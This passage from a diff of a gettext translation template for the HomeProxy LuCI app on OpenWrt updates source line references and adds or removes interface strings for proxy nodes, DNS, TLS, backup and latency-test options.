htdocs/luci-static/resources/view/homeproxy/client.js:1227 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1234 msgid "Drop requests" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1609 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1815 msgid "" "Drop/keep nodes that contain the specific keywords. Regex is supported." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1601 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1807 msgid "Drop/keep specific nodes from subscriptions." msgstr "" @@ -748,18 +720,18 @@ msgid "" "a non-ACME system, such as a CA customer database." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1274 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1524 msgid "" "ECH (Encrypted Client Hello) is a TLS extension that allows a client to " "encrypt the first part of its ClientHello message." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1289 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1539 #: htdocs/luci-static/resources/view/homeproxy/server.js:835 msgid "ECH config" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1278 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1528 msgid "ECH config path" msgstr "" @@ -767,18 +739,18 @@ msgstr "" msgid "ECH key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1008 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1118 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1405 +#: htdocs/luci-static/resources/view/homeproxy/client.js:821 +#: htdocs/luci-static/resources/view/homeproxy/client.js:931 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1217 msgid "EDNS Client subnet" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1053 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1303 #: htdocs/luci-static/resources/view/homeproxy/server.js:481 msgid "Early data" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1060 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1310 #: htdocs/luci-static/resources/view/homeproxy/server.js:488 msgid "Early data header name" msgstr "" @@ -787,35 +759,25 @@ msgstr "" msgid "Early data is sent in path instead of header by default." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1435 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1644 msgid "Edit nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:632 -msgid "Effective nodes" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:583 -msgid "" -"Effective nodes are recalculated automatically after saving and applying " -"manual node changes, or after manual/scheduled subscription updates finish." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:612 msgid "Email" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:454 -#: htdocs/luci-static/resources/view/homeproxy/client.js:802 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1152 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1540 +#: htdocs/luci-static/resources/view/homeproxy/client.js:437 +#: htdocs/luci-static/resources/view/homeproxy/client.js:613 +#: htdocs/luci-static/resources/view/homeproxy/client.js:965 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1093 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1352 #: htdocs/luci-static/resources/view/homeproxy/server.js:148 #: htdocs/luci-static/resources/view/homeproxy/server.js:166 msgid "Enable" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:902 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1152 #: htdocs/luci-static/resources/view/homeproxy/server.js:371 msgid "" "Enable 0-RTT QUIC connection handshake on the client side. This is not " @@ -823,7 +785,7 @@ msgid "" ">Disabling this is highly recommended, as it is vulnerable to replay attacks." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:901 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1151 #: htdocs/luci-static/resources/view/homeproxy/server.js:370 msgid "Enable 0-RTT handshake" msgstr "" @@ -832,34 +794,30 @@ msgstr "" msgid "Enable ACME" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1273 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1523 msgid "Enable ECH" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:758 -msgid "Enable ShadowTLS" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1164 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1414 #: htdocs/luci-static/resources/view/homeproxy/server.js:512 msgid "Enable TCP Brutal" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1165 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1415 #: htdocs/luci-static/resources/view/homeproxy/server.js:513 msgid "Enable TCP Brutal congestion control algorithm" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1348 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1598 #: htdocs/luci-static/resources/view/homeproxy/server.js:855 msgid "Enable UDP fragmentation." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:368 +#: htdocs/luci-static/resources/view/homeproxy/client.js:351 msgid "Enable endpoint-independent NAT" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1160 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1410 #: htdocs/luci-static/resources/view/homeproxy/server.js:507 msgid "Enable padding" msgstr "" @@ -868,72 +826,56 @@ msgstr "" msgid "Enable tcp fast open for listener." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1352 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1602 msgid "" "Enable the SUoT protocol, requires server support. Conflict with multiplex." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:728 -#: htdocs/luci-static/resources/view/homeproxy/node.js:928 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1042 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1178 #: htdocs/luci-static/resources/view/homeproxy/server.js:338 msgid "Encrypt method" msgstr "" +#: htdocs/luci-static/resources/view/homeproxy/node.js:488 #: htdocs/luci-static/resources/view/homeproxy/status.js:139 msgid "Error" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:608 -msgid "" -"Exclude proxy nodes whose labels match this regex from the final effective " -"node set, including manually selected nodes. Leave empty to exclude nothing. " -"To exclude from all nodes, set the Node regex above to .*" -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:278 -#: htdocs/luci-static/resources/homeproxy.js:312 -#: htdocs/luci-static/resources/homeproxy.js:320 -#: htdocs/luci-static/resources/homeproxy.js:338 -#: htdocs/luci-static/resources/homeproxy.js:347 -#: htdocs/luci-static/resources/homeproxy.js:358 -#: htdocs/luci-static/resources/homeproxy.js:367 -#: htdocs/luci-static/resources/homeproxy.js:369 -#: htdocs/luci-static/resources/homeproxy/node-filter.js:59 +#: htdocs/luci-static/resources/homeproxy.js:237 +#: htdocs/luci-static/resources/homeproxy.js:271 +#: htdocs/luci-static/resources/homeproxy.js:279 +#: htdocs/luci-static/resources/homeproxy.js:297 +#: htdocs/luci-static/resources/homeproxy.js:306 +#: htdocs/luci-static/resources/homeproxy.js:317 +#: htdocs/luci-static/resources/homeproxy.js:326 +#: htdocs/luci-static/resources/homeproxy.js:328 +#: htdocs/luci-static/resources/view/homeproxy/client.js:219 +#: htdocs/luci-static/resources/view/homeproxy/client.js:231 #: htdocs/luci-static/resources/view/homeproxy/client.js:235 -#: htdocs/luci-static/resources/view/homeproxy/client.js:247 -#: htdocs/luci-static/resources/view/homeproxy/client.js:251 -#: htdocs/luci-static/resources/view/homeproxy/client.js:270 -#: htdocs/luci-static/resources/view/homeproxy/client.js:281 -#: htdocs/luci-static/resources/view/homeproxy/client.js:285 -#: htdocs/luci-static/resources/view/homeproxy/client.js:314 -#: htdocs/luci-static/resources/view/homeproxy/client.js:548 -#: htdocs/luci-static/resources/view/homeproxy/client.js:569 -#: htdocs/luci-static/resources/view/homeproxy/client.js:591 -#: htdocs/luci-static/resources/view/homeproxy/client.js:616 -#: htdocs/luci-static/resources/view/homeproxy/client.js:730 -#: htdocs/luci-static/resources/view/homeproxy/client.js:733 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1568 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1573 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1576 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1719 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1751 -#: htdocs/luci-static/resources/view/homeproxy/node.js:604 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1311 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1590 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1593 +#: htdocs/luci-static/resources/view/homeproxy/client.js:253 +#: htdocs/luci-static/resources/view/homeproxy/client.js:264 +#: htdocs/luci-static/resources/view/homeproxy/client.js:268 +#: htdocs/luci-static/resources/view/homeproxy/client.js:297 +#: htdocs/luci-static/resources/view/homeproxy/client.js:527 +#: htdocs/luci-static/resources/view/homeproxy/client.js:541 +#: htdocs/luci-static/resources/view/homeproxy/client.js:544 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1380 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1385 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1388 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1530 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1562 +#: htdocs/luci-static/resources/view/homeproxy/node.js:918 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1561 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1735 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1796 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1799 #: htdocs/luci-static/resources/view/homeproxy/server.js:235 #: htdocs/luci-static/resources/view/homeproxy/server.js:618 #: htdocs/luci-static/resources/view/homeproxy/server.js:620 msgid "Expecting: %s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:182 -msgid "" -"Export and import HomeProxy source configuration to fully restore WebUI " -"settings after reinstallation." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:690 msgid "External Account Binding" msgstr "" @@ -946,53 +888,65 @@ msgstr "" msgid "External account key ID" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1448 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1260 msgid "Extra records" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:220 -msgid "Failed" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:74 -#: htdocs/luci-static/resources/view/homeproxy/node.js:90 -msgid "Failed to check node references. Please try again later." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/server.js:86 msgid "Failed to generate %s, error: %s." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:87 -msgid "Failed to generate backup file." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:116 -msgid "Failed to get upload path" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:101 -#: htdocs/luci-static/resources/view/homeproxy/node.js:104 -msgid "Failed to read subscription update status." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:302 +#: htdocs/luci-static/resources/homeproxy.js:261 msgid "Failed to upload %s, error: %s." msgstr "" +#: htdocs/luci-static/resources/homeproxy.js +msgid "panel ZIP package" +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "unknown error" +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Backup panel failed." +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +#: htdocs/luci-static/resources/view/homeproxy/client.js +msgid "Restore panel failed." +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Panel ZIP file is empty." +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "The unzip command is unavailable." +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Invalid panel ZIP file." +msgstr "" + +#: htdocs/luci-static/resources/homeproxy.js +msgid "Install panel failed." +msgstr "" + #: htdocs/luci-static/resources/view/homeproxy/status.js:140 msgid "Fatal" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1608 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1814 msgid "Filter keywords" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1600 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1806 msgid "Filter nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:842 +#: htdocs/luci-static/resources/view/homeproxy/client.js:653 msgid "Firefox / uquic firefox" msgstr "" @@ -1000,33 +954,33 @@ msgstr "" msgid "Firewall" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:916 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1166 #: htdocs/luci-static/resources/view/homeproxy/server.js:385 msgid "Flow" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:469 +#: htdocs/luci-static/resources/view/homeproxy/client.js:451 msgid "For resolving domain name in the server address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1551 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1363 msgid "Format" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:940 +#: htdocs/luci-static/resources/view/homeproxy/client.js:753 msgid "Fragment TLS handshake into multiple TLS records." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:946 +#: htdocs/luci-static/resources/view/homeproxy/client.js:759 msgid "" "Fragment TLS handshakes. Due to poor performance, try %s first." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:952 +#: htdocs/luci-static/resources/view/homeproxy/client.js:765 msgid "Fragment fallback delay" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1022 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1272 msgid "GET" msgstr "" @@ -1034,19 +988,19 @@ msgstr "" msgid "GFW list version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:292 +#: htdocs/luci-static/resources/view/homeproxy/client.js:275 msgid "GFWList" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1658 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1469 msgid "Gaming mode IPv4 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1660 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1471 msgid "Gaming mode IPv6 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1663 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1474 msgid "Gaming mode MAC-s" msgstr "" @@ -1056,36 +1010,27 @@ msgstr "" msgid "Generate" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:104 -#: htdocs/luci-static/resources/view/homeproxy/backup.js:195 -msgid "Generate backup file" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:83 -msgid "Generating backup file..." -msgstr "" - #: htdocs/luci-static/resources/view/homeproxy/status.js:260 msgid "GitHub token" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:296 +#: htdocs/luci-static/resources/view/homeproxy/client.js:279 msgid "Global" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:939 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1189 msgid "Global padding" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1665 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1476 msgid "Global proxy IPv4 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1668 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1479 msgid "Global proxy IPv6 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1671 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1482 msgid "Global proxy MAC-s" msgstr "" @@ -1097,24 +1042,24 @@ msgstr "" msgid "Google" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:224 -msgid "Google Public DNS (8.8.8.8)" +#: htdocs/luci-static/resources/view/homeproxy/client.js:208 +msgid "Google Public DNS (DoH)" msgstr "" #: root/usr/share/rpcd/acl.d/luci-app-homeproxy.json:3 msgid "Grant access to homeproxy configuration" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:832 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1319 -#: htdocs/luci-static/resources/view/homeproxy/node.js:525 -#: htdocs/luci-static/resources/view/homeproxy/node.js:957 +#: htdocs/luci-static/resources/view/homeproxy/client.js:643 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1131 +#: htdocs/luci-static/resources/view/homeproxy/node.js:860 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1207 #: htdocs/luci-static/resources/view/homeproxy/server.js:177 #: htdocs/luci-static/resources/view/homeproxy/server.js:403 msgid "HTTP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1162 +#: htdocs/luci-static/resources/view/homeproxy/client.js:975 msgid "HTTP/3" msgstr "" @@ -1124,11 +1069,11 @@ msgid "" "returned if empty." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1161 +#: htdocs/luci-static/resources/view/homeproxy/client.js:974 msgid "HTTPS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:958 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1208 #: htdocs/luci-static/resources/view/homeproxy/server.js:404 msgid "HTTPUpgrade" msgstr "" @@ -1141,18 +1086,18 @@ msgstr "" msgid "Handshake server port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1184 +#: htdocs/luci-static/resources/view/homeproxy/client.js:997 msgid "Headers" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:907 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1157 #: htdocs/luci-static/resources/view/homeproxy/server.js:376 msgid "Heartbeat interval" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:60 -#: htdocs/luci-static/resources/view/homeproxy/client.js:62 -#: htdocs/luci-static/resources/view/homeproxy/client.js:140 +#: htdocs/luci-static/resources/view/homeproxy/client.js:63 +#: htdocs/luci-static/resources/view/homeproxy/client.js:65 +#: htdocs/luci-static/resources/view/homeproxy/client.js:112 #: htdocs/luci-static/resources/view/homeproxy/status.js:282 #: root/usr/share/luci/menu.d/luci-app-homeproxy.json:3 msgid "HomeProxy" @@ -1164,52 +1109,33 @@ msgstr "" msgid "HomeProxy Server" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/backup.js:180 -msgid "HomeProxy configuration backup / restore" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:163 -msgid "" -"HomeProxy configuration has been restored and the service has restarted." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy.js:252 -msgid "HomeProxy found the following issues. Check and fix them manually:" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:60 -msgid "" -"HomeProxy was just upgraded or rpcd has restarted. The current page session " -"may be expired. Refresh the page or sign in again before retrying." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:651 +#: htdocs/luci-static/resources/view/homeproxy/node.js:965 msgid "Hop interval" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:645 +#: htdocs/luci-static/resources/view/homeproxy/node.js:959 msgid "Hopping port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1006 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1011 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1045 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1256 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1261 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1295 #: htdocs/luci-static/resources/view/homeproxy/server.js:437 #: htdocs/luci-static/resources/view/homeproxy/server.js:442 #: htdocs/luci-static/resources/view/homeproxy/server.js:473 msgid "Host" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:849 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1099 msgid "Host key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:854 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1104 msgid "Host key algorithms" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:793 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1272 +#: htdocs/luci-static/resources/view/homeproxy/client.js:604 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1084 msgid "Host/IP fields" msgstr "" @@ -1219,28 +1145,44 @@ msgid "" "command (in seconds)." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:527 +#: htdocs/luci-static/resources/view/homeproxy/node.js:862 #: htdocs/luci-static/resources/view/homeproxy/server.js:179 msgid "Hysteria" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:528 +#: htdocs/luci-static/resources/view/homeproxy/node.js:863 #: htdocs/luci-static/resources/view/homeproxy/server.js:180 msgid "Hysteria2" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1040 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1478 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1784 +msgid "ICMP" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:474 +msgid "ICMP Failed" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:476 +msgid "ICMP Probe unavailable" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:478 +msgid "ICMP Timeout" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:853 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1290 msgid "IP CIDR" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:820 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1300 +#: htdocs/luci-static/resources/view/homeproxy/client.js:631 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1112 msgid "IP version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:822 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1301 +#: htdocs/luci-static/resources/view/homeproxy/client.js:633 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1113 msgid "IPv4" msgstr "" @@ -1248,8 +1190,8 @@ msgstr "" msgid "IPv4 only" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:823 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1302 +#: htdocs/luci-static/resources/view/homeproxy/client.js:634 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1114 msgid "IPv6" msgstr "" @@ -1257,55 +1199,55 @@ msgstr "" msgid "IPv6 only" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:337 +#: htdocs/luci-static/resources/view/homeproxy/client.js:320 msgid "IPv6 support" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:622 +#: htdocs/luci-static/resources/view/homeproxy/node.js:936 msgid "Idle session check interval" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:629 +#: htdocs/luci-static/resources/view/homeproxy/node.js:943 msgid "Idle session check timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:765 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1027 +#: htdocs/luci-static/resources/view/homeproxy/client.js:576 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1277 #: htdocs/luci-static/resources/view/homeproxy/server.js:456 msgid "Idle timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:927 +#: htdocs/luci-static/resources/view/homeproxy/client.js:740 msgid "" "If enabled, attempts to connect UDP connection to the destination instead of " "listen." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:921 +#: htdocs/luci-static/resources/view/homeproxy/client.js:734 msgid "" "If enabled, for UDP proxy requests addressed to a domain, the original " "packet address will be sent in the response instead of the mapped domain." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:999 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1249 msgid "" "If enabled, the client transport sends keepalive pings even with no active " "connections." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:388 +#: htdocs/luci-static/resources/view/homeproxy/client.js:371 msgid "" "If set, the requested domain name will be resolved to IP before routing." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:984 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1234 #: htdocs/luci-static/resources/view/homeproxy/server.js:425 msgid "" "If the transport doesn't see any activity after a duration of this time (in " "seconds), it pings the client to check if the connection is still active." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1253 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1503 msgid "" "If you have the root certificate, use this option instead of allowing " "insecure." @@ -1315,37 +1257,37 @@ msgstr "" msgid "Ignore client bandwidth" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1518 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1718 msgid "Import" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1465 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1544 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1546 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1665 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1744 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1746 msgid "Import share links" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:376 +#: htdocs/luci-static/resources/view/homeproxy/client.js:359 #: htdocs/luci-static/resources/view/homeproxy/server.js:860 msgid "In seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1117 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1367 msgid "In seconds. Disabled by default." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:637 +#: htdocs/luci-static/resources/view/homeproxy/node.js:951 msgid "" "In the check, at least the first n idle sessions are kept open." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:630 +#: htdocs/luci-static/resources/view/homeproxy/node.js:944 msgid "" "In the check, close sessions that have been idle for longer than this, in " "seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1114 +#: htdocs/luci-static/resources/view/homeproxy/client.js:927 msgid "Independent cache per server" msgstr "" @@ -1353,38 +1295,45 @@ msgstr "" msgid "Info" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1617 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1428 msgid "Interface Control" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:717 -#: htdocs/luci-static/resources/view/homeproxy/client.js:772 +#: htdocs/luci-static/resources/view/homeproxy/client.js:583 msgid "Interrupt existing connections" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:718 -#: htdocs/luci-static/resources/view/homeproxy/client.js:773 +#: htdocs/luci-static/resources/view/homeproxy/client.js:584 msgid "Interrupt existing connections when the selected outbound has changed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:623 +#: htdocs/luci-static/resources/view/homeproxy/node.js:937 msgid "Interval checking for idle sessions, in seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:908 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1158 #: htdocs/luci-static/resources/view/homeproxy/server.js:377 msgid "" "Interval for sending heartbeat packets for keeping the connection alive (in " "seconds)." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:877 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1353 +#: htdocs/luci-static/resources/view/homeproxy/client.js:128 +#: htdocs/luci-static/resources/view/homeproxy/node.js:480 +msgid "Invalid node" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:482 +msgid "Invalid response" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:688 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1165 msgid "Invert" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:878 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1354 +#: htdocs/luci-static/resources/view/homeproxy/client.js:689 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1166 msgid "Invert match result." msgstr "" @@ -1392,28 +1341,36 @@ msgstr "" msgid "Key path" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1631 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1442 msgid "LAN IP Policy" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:449 -#: htdocs/luci-static/resources/view/homeproxy/client.js:797 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1147 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1276 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1535 -#: htdocs/luci-static/resources/view/homeproxy/node.js:517 +#: htdocs/luci-static/resources/view/homeproxy/client.js:432 +#: htdocs/luci-static/resources/view/homeproxy/client.js:608 +#: htdocs/luci-static/resources/view/homeproxy/client.js:960 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1088 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1347 +#: htdocs/luci-static/resources/view/homeproxy/node.js:852 #: htdocs/luci-static/resources/view/homeproxy/server.js:160 msgid "Label" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:923 +#: htdocs/luci-static/resources/view/homeproxy/node.js:817 +msgid "Latency" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1782 +msgid "Latency test 